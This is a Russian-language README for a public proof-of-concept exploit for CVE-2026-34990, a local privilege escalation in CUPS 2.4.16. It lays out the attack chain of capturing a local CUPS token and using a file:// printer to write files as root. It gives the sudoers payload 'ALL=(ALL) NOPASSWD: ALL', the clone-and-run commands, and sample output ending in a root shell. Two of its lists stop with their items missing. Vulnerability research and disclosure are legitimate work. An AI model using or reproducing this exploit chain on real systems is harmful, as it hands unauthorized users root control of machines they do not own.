
Универсальный PoC для CVE-2026-34990 — локальное повышение привилегий в CUPS 2.4.16 через раскрытие локального токена и произвольную перезапись файлов от имени root.
Универсальный proof-of-concept для CVE-2026-34990 — уязвимости локального повышения привилегий, затрагивающей CUPS 2.4.16.
Эксплойт демонстрирует, как локальный непривилегированный пользователь может злоупотребить локальной аутентификацией CUPS и поведением при настройке принтера, чтобы получить произвольную запись в файл от имени root и повысить привилегии.
CVE-2026-34990 была изначально обнаружена:
Asim Viladi Oglu Manizada (@manizada)
Я не являюсь первооткрывателем этой уязвимости.
Этот репозиторий содержит мою адаптированную и протестированную реализацию proof-of-concept, основанную на публично раскрытой технической информации.
На высоком уровне цепочка эксплойта выглядит так:
Локальный непривилегированный пользователь
|
v
Создание временного принтера CUPS
|
v
Запуск исходящей аутентификации IPP
|
v
Перехват Authorization: Local token
|
v
Повторное использование токена для привилегированных операций CUPS
|
v
Создание/сохранение принтера file://
|
v
Отправка задания на печать
|
v
Произвольная запись в файл от имени root
|
v
Повышение привилегий
PoC автоматически использует текущее имя локального пользователя.
Например, при запуске от имени:
alice
демонстрационная полезная нагрузка нацелена на:
/etc/sudoers.d/alice-pwn
и пытается записать:
alice ALL=(ALL) NOPASSWD: ALL
Успешный эксплойт затем можно проверить с помощью:
sudo -n id
Пример:
uid=0(root) gid=0(root) groups=0(root)
PoC предполагает наличие:
ipptoollplpstatПроверьте версию CUPS:
cups-config --version
Проверьте, что планировщик запущен:
lpstat -r
Проверьте локальный слушатель CUPS:
ss -lnt | grep 631
Клонируйте репозиторий:
git clone https://github.com/Noorkhalel/CVE-2026-34990-CUPS-LPE-PoC.git
cd CVE-2026-34990-CUPS-LPE-PoC
Запустите:
python3 exploit.py
Пример вывода:
[*] user: <local-user>
[*] target: /etc/sudoers.d/<local-user>-pwn
[+] Local token: <LOCAL_TOKEN>
[*] attempt 1: <printer-name>
[+] ROOT via sudoers
uid=0(root) gid=0(root) groups=0(root)
[*] next: sudo -n bash
После успешной эксплуатации:
sudo -n bash
Этот PoC намеренно написан как универсальная реализация публично раскрытой CVE.
Он не содержит:
Этот код предоставляется для:
Используйте этот код только на системах, которыми вы владеете, или на системах, на которые у вас есть явное разрешение.
Автор не несёт ответственности за неправомерное использование этого программного обеспечения.
Обнаружение уязвимости:
Asim Viladi Oglu Manizada (@manizada)
Адаптация PoC, тестирование и документация:
Noor Khalil